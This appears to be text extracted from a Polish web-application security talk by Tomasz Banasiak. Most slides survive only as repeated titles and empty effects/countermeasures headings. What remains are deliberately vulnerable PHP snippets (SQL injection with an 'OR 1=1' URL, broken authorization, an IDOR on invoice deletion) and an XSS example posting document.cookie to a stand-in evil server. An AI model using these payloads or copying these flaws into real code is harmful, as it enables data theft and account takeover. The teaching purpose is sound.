Prelegent: Tomasz Banasiak
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Skutki:
Przeciwdziałanie:
Bezpieczeństwo WebAplikacji
Skutki:
Przeciwdziałanie:
Bezpieczeństwo WebAplikacji
Skutki:
Przeciwdziałanie:
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Skutki:
Bezpieczeństwo WebAplikacji
// Check if only image has been uploaded
if (!preg_match('/^[a-zA-Z0-9\-\.\_]{2,100}\.(jpg|gif|png)/i', $fileName)) {
throw new Exception('Unsupported file type!');
}
Bezpieczeństwo WebAplikacji
Przeciwdziałanie:
Bezpieczeństwo WebAplikacji
Skutki:
Bezpieczeństwo WebAplikacji
$stmt = $db->prepare('SELECT * FROM persons WHERE name = ?');
$stmt->bindValue(1, $this->input->get('name'), PDO::PARAM_STR);
$stmt->execute();
$stmt = $db->prepare('SELECT * FROM persons WHERE name = ? '
. ($this->input->get('age') ? ' OR age = ' . $this->input->get('age') : ''));
$stmt->bindValue(1, $this->input->get('name'), PDO::PARAM_STR);
$stmt->execute();
http://app.com/api/get?name=.&age=1 OR 1=1
SELECT * FROM table WHERE name = '.' OR age = 1 OR 1=1
Bezpieczeństwo WebAplikacji
Przeciwdziałanie:
Bezpieczeństwo WebAplikacji
Skutki:
Bezpieczeństwo WebAplikacji
public function assignNoteToUser($note, $companyId = 0, $userId = 0)
{
if (!is_null($companyId)) {
// Check if user can add notes
$userId = $this->getEntitledUser($companyId);
if ($userId != $this->myUserId() ) {
throw new \Exception('You are not allowed to assign this note!');
}
}
// ...
$note = new \Data\Model\Note;
$note->add(
array(
'user_id' => $userId,
'note' => $note,
'company_id' => $companyId
)
);
return $note;
}
Bezpieczeństwo WebAplikacji
Przeciwdziałanie:
Bezpieczeństwo WebAplikacji
Skutki:
Bezpieczeństwo WebAplikacji
$adminRole = ADMIN_NULL;
if ($this->input->post('user') == 'admin'
&& $this->checkAdminPassword($this->input->post('password'))) {
$adminRole = ADMIN_ADMIN;
}
if ($this->input->post('log_in_as_a_user') {
$adminRole = ADMIN_USER;
}
Bezpieczeństwo WebAplikacji
Przeciwdziałanie:
Bezpieczeństwo WebAplikacji
http://www.hackersforcharity.org/ghdb/
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Skutki:
Przeciwdziałanie:
Bezpieczeństwo WebAplikacji
Skutki:
Przeciwdziałanie:
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Skutki:
Bezpieczeństwo WebAplikacji
$offset = $this->request->get('offset') || self::ARCHIVE_DEFAULT_OFFSET;
$limit = $this->request->get('limit') || self::ARCHIVE_DEFAULT_LIMIT;
$this->view()->archive = $archive->getInvoices($userId, $limit, $offset);
http://app.com/api/invoices/archive?offset=0&limit=9999999999999
if ($this->isLoggedUser()) {
$invoice = $this->getInvoiceData($this->request->get('id');
if ($invoice->getCompanyId() == $this->request->get('companyId')) {
$this->deleteInvoice($this->request->get('id'));
$this->succeed('Invoice has been successfully removed!');
}
}
Bezpieczeństwo WebAplikacji
Przeciwdziałanie:
Bezpieczeństwo WebAplikacji
Zagrożenia:
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
$.ajax({
url: "http://my-evil-server.tld/rst/get",
context: document.body,
data: {
'cookie': document.cookie,
'other': application.var
}
});
Bezpieczeństwo WebAplikacji
Przeciwdziałanie:
Bezpieczeństwo WebAplikacji
Skutki:
Przeciwdziałanie:
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Skutki:
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Przeciwdziałanie:
Bezpieczeństwo WebAplikacji
Skutki:
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Przeciwdziałanie:
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
http://threats.pl/
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Bezpieczeństwo WebAplikacji
Kontakt ze mną:
E-mail: tomasz.banasiak@rst.com.pl
WEB: http://banasiak.pro